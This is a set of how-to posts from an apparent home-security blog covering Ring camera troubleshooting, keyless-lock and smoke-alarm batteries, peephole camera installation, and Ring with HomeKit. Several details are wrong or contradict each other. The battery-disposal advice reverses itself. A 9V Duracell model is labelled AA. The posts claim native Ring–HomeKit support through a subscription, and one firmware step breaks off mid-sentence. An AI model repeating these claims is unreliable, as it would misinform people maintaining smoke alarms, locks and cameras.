  3. Look under Power for the battery level indicator

If you see a red battery icon, that means your camera’s batteries are low and need to be replaced. If you see a white lightning bolt icon, that means your camera is connected to a power source but isn’t getting enough power.

Check Wiring:

In some cases, bad wiring can cause problems with your Ring camera. This can happen if the wires are loose, damaged, or not properly connected.

Firmware Update:

If there’s a problem with your camera’s firmware, that can also prevent you from accessing your footage. Firmware updates are typically released to fix bugs or improve performance.

To check if there’s a firmware update available for your camera:

  1. Open the Ring app and go to the Devices tab
  2. Select the camera you’re having trouble with
  3. Look under Status for the firmware version number
  4. If there’s a newer firmware version available, you’ll see

Faulty Camera:

In some cases, the problem may be with the camera itself. If you’ve tried all of the above methods and you’re still having trouble, contact a technician or if it comes under warranty, get it replaced.

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How To Change The Battery In Keyless Door Lock https://superhomessecurity.com/how-to-change-the-battery-in-keyless-door-lock/ https://superhomessecurity.com/how-to-change-the-battery-in-keyless-door-lock/#respond Wed, 20 Jul 2022 18:15:38 +0000 https://superhomessecurity.com/?p=555 Did your keyless door lock just stopped working? This would be very frustrating for you as you are unable to get inside your home. The solution to this would be to change the batteries of your keyless door lock. The process is not too difficult, you just need to follow the steps we’ve compiled for ... Read more

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Did your keyless door lock just stopped working? This would be very frustrating for you as you are unable to get inside your home. The solution to this would be to change the batteries of your keyless door lock. The process is not too difficult, you just need to follow the steps we’ve compiled for you.

You Will Need:

  • Allen key tool
  • A new battery
  • A Phillips head screwdriver

If your keyless door lock is not working properly, it may be due to a dead battery. To change the battery in your keyless door lock, follow these steps:

Instructions:

1. Remove the cover from the back of the door lock. This will expose the battery compartment.

2. Remove the old battery from the compartment and insert a new one. Make sure that the new battery is installed in the correct direction.

3. Replace the cover on the back of the door lock.

4. Test the door lock to make sure that it is working properly.

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How Long Do Smoke Alarm Batteries Last https://superhomessecurity.com/how-long-do-smoke-alarm-batteries-last/ https://superhomessecurity.com/how-long-do-smoke-alarm-batteries-last/#respond Wed, 20 Jul 2022 18:09:59 +0000 https://superhomessecurity.com/?p=551 Wondering how long will your smoke alarm’s batteries last? The best way to answer this question is by understanding how batteries work. Smoke alarm batteries should be replaced at least once a year and more often if they are starting to show signs of wear. The best way to tell if your smoke alarm batteries ... Read more

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Wondering how long will your smoke alarm’s batteries last? The best way to answer this question is by understanding how batteries work. Smoke alarm batteries should be replaced at least once a year and more often if they are starting to show signs of wear.

The best way to tell if your smoke alarm batteries need to be replaced is to test them regularly. Most smoke alarms have a test button that you can press to see if the alarm is still working. If the alarm does not sound when the test button is pressed, then the batteries need to be replaced.

It’s also a good idea to keep spare batteries on hand so that you can replace them as soon as they start to die. This will help ensure that your smoke alarm is always working properly.

Warnings when battery needs to be changed:

Battery Warning:

Make sure to dispose of batteries properly. Do not just throw them in the trash. Batteries can leak chemicals that are harmful to the environment.

Lead-acid batteries should be recycled at a battery recycling center. Alkaline and lithium batteries can be disposed of with regular household waste.

Different Types Of Batteries in Smoke Alarms

Longest-lasting 9-volt battery:

Energizer is the longest-lasting and best 9-volt battery for your smoke alarm. This brand has a shelf life of up to 10 years, so you can be sure that it will be ready to go when you need it.

When it comes to smoke alarms, it’s important to have a backup plan in place in case of power outages or other emergencies. That’s why keeping extra batteries on hand is a good idea. This way, you can ensure that your smoke alarm will always be working properly.

Alkaline And Lithium Smoke Detector Batteries

Alkaline batteries are the most common type of battery used in smoke detectors. They are inexpensive and have a long shelf life. However, they can leak and damage the smoke detector if not regularly replaced.

Lithium batteries are more expensive than alkaline batteries, but they last longer and do not leak. This makes them a good choice for smoke detectors that are not used frequently.

EN22 Energizer Industrial Alkaline 9V Battery:

The Energizer EN22 9V battery is an industrial alkaline battery that offers long-lasting power for your smoke alarm. This battery has a shelf life of up to 10 years, so you can be sure it will be ready to go when you need it.

Duracell MN1604B2PK AA Batteries:

The Duracell MN1604B2PK AA batteries are a good choice for smoke alarms. These batteries have a shelf life of up to 5 years, so you can be sure they will be ready to go when you need them.

Lithium 9V Battery:

The Lithium 9V battery is a good choice for smoke alarms that are not used frequently.

Read More: How To Cover A Smoke Alarm For A Candle

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How to install ring peephole camera without peephole https://superhomessecurity.com/how-to-install-ring-peephole-camera-without-peephole/ https://superhomessecurity.com/how-to-install-ring-peephole-camera-without-peephole/#respond Sun, 17 Jul 2022 19:51:49 +0000 https://superhomessecurity.com/?p=536 Looking to install a ring peephole camera but you don’t have a peephole? Don’t worry, we’ve got you solved. If you don’t have a peephole in your door or want a wider field of view than a traditional peephole camera can provide, you can install a Ring Peephole Cam without using the peephole itself. Let’s take ... Read more

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Looking to install a ring peephole camera but you don’t have a peephole? Don’t worry, we’ve got you solved. If you don’t have a peephole in your door or want a wider field of view than a traditional peephole camera can provide, you can install a Ring Peephole Cam without using the peephole itself. Let’s take a look at how we can do this in our detailed guide.

Tools Needed to install a peephole camera without a peephole:

  • Drill with a 1″ bit
  • Screwdriver
  • Level (optional)

Installation Steps:

  • 1. Decide where you want to install your Ring Peephole Cam. We recommend placing it at eye level, so you can easily see who’s at your door. If needed, use a level to make sure the camera is installed straight.

2. Drill a 1″ hole through your door.

3. Insert the Ring Peephole Cam into the hole from the inside of your home and secure it in place with the included mounting bracket and screws.

4. Follow the on-screen instructions to connect your Ring Peephole Cam to your WiFi network.

5. That’s it! You’re now ready to start using your Ring Peephole Cam.

Now that you know how to install a Ring Peephole Cam without using the peephole itself, you can enjoy all the benefits of this excellent security camera, even if you don’t have a peephole in your door.

With the Ring Peephole Cam, you’ll be able to see and speak to visitors at your door, whether home or away. So go ahead and give it a try today!

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Does Ring Work With HomeKit? https://superhomessecurity.com/does-ring-work-with-homekit/ https://superhomessecurity.com/does-ring-work-with-homekit/#respond Sun, 26 Jun 2022 21:09:45 +0000 https://superhomessecurity.com/?p=477 Yes, Ring does work with HomeKit. You can use the Home app to control your Ring Doorbell or Security Camera. You can also use Siri to control your Ring devices.  With HomeKit, you can set up automation so that your Ring Alarm will turn on when you leave the house and turn off when you ... Read more

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Yes, Ring does work with HomeKit. You can use the Home app to control your Ring Doorbell or Security Camera. You can also use Siri to control your Ring devices. 

With HomeKit, you can set up automation so that your Ring Alarm will turn on when you leave the house and turn off when you come home.

Is Ring Home Kit Compatible?

Yes, Ring is compatible with Apple’s HomeKit platform. This allows you to control your Ring devices using the Home app and Siri. To use Ring with HomeKit, you must have a Ring Protect Plus subscription.

With this subscription, you can add an unlimited number of Ring cameras and doorbells to your HomeKit setup.

To start:

  1. Open the Home app
  2. Tap the + button in the top-right corner.
  3. Select Add Accessory.

Checklist to get started:

  • Your device should support Apple’s HomeKit platform
  • Latest version of the Ring app
  • Ring Protect Plus subscription
  • Home Wi-Fi network working correctly
  • Router with a stable connection to the internet
  • Home network configured to allow inbound and outbound traffic on port 443

If you checked to all of the above, you should be able to use Ring with HomeKit.

What is Homebridge?

Homebridge is a third-party application that allows you to control your Ring devices using Apple’s HomeKit platform. To use Homebridge, you need to install the Homebridge software on a computer that is always turned on and connected to your home network.

Once you have installed Homebridge, you can use the Home app to control your Ring devices. You can also ask Siri to show you the live video feed from your Ring cameras.

What Ring Homekit Integration Can Do?

Ring Homekit has several of uses which includes, using the Home app to control your Ring devices, use Siri to control your Ring devices and setting up automation so that your Ring Alarm turns on when you leave the house and turns off when you come home.

Moreover, you can also view the live video footage from your Ring cameras in the Home app or with Siri.

HomeKit Notifications:

If you have a Ring Alarm system, you can use the Home app to receive notifications when your alarm is triggered.

RING ALARM SYSTEM: 

If you have a Ring Alarm system, you can use the Home app to receive notifications when your alarm is triggered.

To do this:

  1. Open the Home app and tap the Notifications tab.
  2. Tap the + button in the top-right corner.
  3. Select Add Notification and choose Ring from the list of options.
  4. Then select the type of event you want to be notified about (e.g. motion detection, contact sensor activity, etc.) and tap Done.

You will receive a notification on your iOS device whenever the selected event occurs.

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